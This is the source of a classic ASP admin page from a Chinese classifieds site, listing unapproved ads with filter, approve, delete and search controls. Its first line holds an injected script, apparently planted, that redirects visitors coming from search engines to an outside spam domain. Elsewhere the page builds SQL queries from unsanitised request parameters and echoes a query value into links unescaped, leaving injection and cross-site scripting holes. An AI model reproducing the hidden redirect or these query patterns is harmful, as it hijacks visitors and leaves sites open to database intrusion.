d:\wwwroot\wuchunhua\cityadmin\nopass.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_cityadmin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
if session("twoid")=0 then
006:
city="city_oneid="&session("oneid")&""
007:
else
008:
if session("threeid")=0 then
009:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&""
010:
else
011:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&" and city_threeid="&session("threeid")&""
012:
end if
013:
end if
014:
dim sql,rs
015:
keyword=replace(trim(request.form("keyword")),"'","")
016:
tid=request("id")
017:
ttwoid=request("twoid")
018:
tthreeid=request("threeid")
019:
if keyword <>"" then
020:
sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and "&city&" and stop >= date() and mark='no' order by adid desc"
021:
else
022:
if tid<>0 then
023:
if ttwoid=0 then dtype="type_oneid="&tid&""
024:
if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
025:
if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
026:
sql="select * from china_data where "&dtype&" and mark='no' and "&city&" and stop >= date() order by adid desc"
027:
else
028:
sql="select * from china_data where "&city&" and stop >= date() and mark='no' order by adid desc"
029:
end if
030:
end if
031:
set rs=server.createobject("adodb.recordset")
032:
rs.open sql,conn,1,1
%
>
033:
<html>
034:
<head>
035:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
036:
<title>现有信息列表</title>
037:
<link rel="stylesheet" type="text/css" href="style.css">
038:
</head>
039:
040:
<body>
041:
<SCRIPT language=javascript>
042:
function CheckAll(form)
043:
{
044:
for (var i=0;i<form.elements.length;i++)
045:
{
046:
var e = form.elements[i];
047:
if (e.Name != "chkAll")
048:
e.checked = form.chkAll.checked;
049:
}
050:
}
051:
function Checked()
052:
{
053:
var j = 0
054:
for(i=0;i < document.form.elements.length;i++){
055:
if(document.form.elements[i].name == "adid"){
056:
if(document.form.elements[i].checked){
057:
j++;
058:
}
059:
}
060:
}
061:
return j;
062:
}
063:
064:
function DelAll()
065:
{
066:
if(Checked() <= 0){
067:
alert("您至少选择1条信息!");
068:
}
069:
else{
070:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
071:
form.action="del.asp?del=data";
072:
form.submit();
073:
}
074:
}
075:
}
076:
function PassAll()
077:
{
078:
if(Checked() <= 0){
079:
alert("您至少选择1条信息!");
080:
}
081:
else{
082:
if(confirm("确定要审核选择的信息吗?\n此操作不可以恢复!")){
083:
form.action="del.asp?del=pass";
084:
form.submit();
085:
}
086:
}
087:
}
088:
</SCRIPT>
089:
<FORM name=form method=post>
090:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
091:
<tr>
092:
<td height="20" bgcolor="#799AE1" align="center">
093:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
094:
<tr>
095:
<td width="55">
096:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
097:
<option value="?id=0"
<%
if tid=0 then
%
>selected
<%
end if
%
>>全部</option>
098:
<%
set rs_lei = server.createobject("adodb.recordset")
099:
sql = "select * from china_type"
100:
rs_lei.open sql,conn,1,1
101:
do while not rs_lei.eof
102:
if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then
%
>
103:
<option value="?id=
<%
=rs_lei("id")
%
>"
<%
if tid=rs_lei("id") and ttwoid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
104:
<%
end if
105:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then
%
>
106:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
107:
<%
end if
108:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then
%
>
109:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>&threeid=
<%
=rs_lei("threeid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
110:
<%
end if
111:
rs_lei.movenext
112:
loop
113:
rs_lei.close
114:
set rs_lei = nothing
%
>
115:
</select></td>
116:
<td align="center"><font color="#FFFFFF" style="font-size:14px">
<%
=session("china_city")
%
>分站---未审核分类信息</font></td>
117:
<td width="120"><INPUT title=批量审核 onclick=PassAll() type=button value=批量审核 name=Submit><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
118:
</tr>
119:
</table></td>
120:
</tr>
121:
<tr>
122:
<td bgcolor="#FFFFFF"> <br>
123:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
124:
<tr bgcolor="#FFFFFF">
125:
<td width="30" align="center">编号</td>
126:
<td align="center">信息标题</td>
127:
<td align="center">所在地区</td>
128:
<td align="center">信息类别</td>
129:
<td align="center">发布日期</td>
130:
<td align="center">截止日期</td>
131:
<td align="center">审核状态</td>
132:
<td align="center">会员</td>
133:
<td align="center"
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>身份证</td>
134:
<td align="center">IP</td>
135:
<td align="center">管理操作</td>
136:
<td width="30" align="center"><input id=chkAll
137:
onClick=CheckAll(this.form) type=checkbox
138:
value=checkbox name=chkAll></td>
139:
</tr>
140:
<%
if rs.eof or rs.bof then
141:
response.write"<tr bgcolor=#FFFFFF><td colspan='12'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
142:
response.end
143:
else
144:
const maxperpage=20
145:
dim currentpage
146:
rs.pagesize=maxperpage
147:
currentpage=request.querystring("pageid")
148:
if isnumeric(currentpage)=false then
149:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
150:
response.end
151:
end if
152:
if currentpage="" then
153:
currentpage=1
154:
elseif currentpage<1 then
155:
currentpage=1
156:
else
157:
currentpage=clng(currentpage)
158:
if currentpage > rs.pagecount then
159:
currentpage=rs.pagecount
160:
end if
161:
end if
162:
163:
dim totalput,n
164:
totalput=rs.recordcount
165:
if totalput mod maxperpage=0 then
166:
n=totalput\maxperpage
167:
else
168:
n=totalput\maxperpage+1
169:
end if
170:
if n=0 then
171:
n=1
172:
end if
173:
rs.move(currentpage-1)*maxperpage
174:
i=0
175:
do while i< maxperpage and not rs.eof
%
>
176:
<tr bgcolor="#FFFFFF">
177:
<td align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
178:
<td> <a href="../html/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
179:
<%
If rs("ispic")="yes" Then
%
>
180:
<font color="#FF0000">图</font>
181:
<%
End If
%
></td>
182:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
183:
<td align="center"><a title=
<%
=rs("type_one")
%
>/
<%
=rs("type_two")
%
>/
<%
=rs("type_three")
%
> href="#">
<%
=rs("type_one")
%
></a></td>
184:
<td align="center">
<%
=rs("date")
%
></td>
185:
<td align="center">
<%
=rs("stop")
%
></td>
186:
<td align="center">
187:
<%
If rs("mark")="yes" Then
%
>
188:
<font color="#008000">已审核</font>
189:
<%
Else
%
>
190:
<font color="#FF0000">未审核</font>
191:
<%
End If
%
>
192:
</td>
193:
<td align="center">
<%
If rs("uid")<>"" Then
%
>
194:
<font color="#FF0000">是</font>
195:
<%
Else
%
>
196:
否
197:
<%
End If
%
></td>
198:
199:
<td align="center"
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>
<%
If rs("cardid")<>"" Then
%
>
200:
<a href="../cardid.asp?cardid=
<%
=rs("cardid")
%
>" target="_blank">查</a>
201:
<%
Else
%
>无
<%
End If
%
></td>
202:
<td align="center">
<%
If rs("ip")<>"" Then
%
>
203:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
204:
<%
Else
%
>无
<%
End If
%
></td>
205:
<td align="center"><a href="editad.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
206:
<td align="center"><input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)></td>
207:
</tr>
208:
<%
i=i+1
209:
rs.movenext
210:
loop
211:
rs.close
212:
set rs=nothing
213:
conn.close
214:
set conn=nothing
215:
end if
%
>
216:
</table>
217:
<br>
218:
</td>
219:
</tr>
220:
</table></FORM>
221:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
222:
<tr>
223:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
224:
<%
k=currentpage
225:
if k<>1 then
%
>
226:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
227:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
228:
首页 上一页
229:
<%
end if
%
>
230:
<%
if k<>n then
%
>
231:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
232:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
233:
<%
else
%
>
234:
下一页 尾页
235:
<%
end if
%
>
236:
共有
<%
=totalput
%
> 条信息 </td>
237:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
238:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
239:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
240:
</form>
241:
</tr>
242:
</table>
243:
</body>
244:
</html>
245:
246:
247: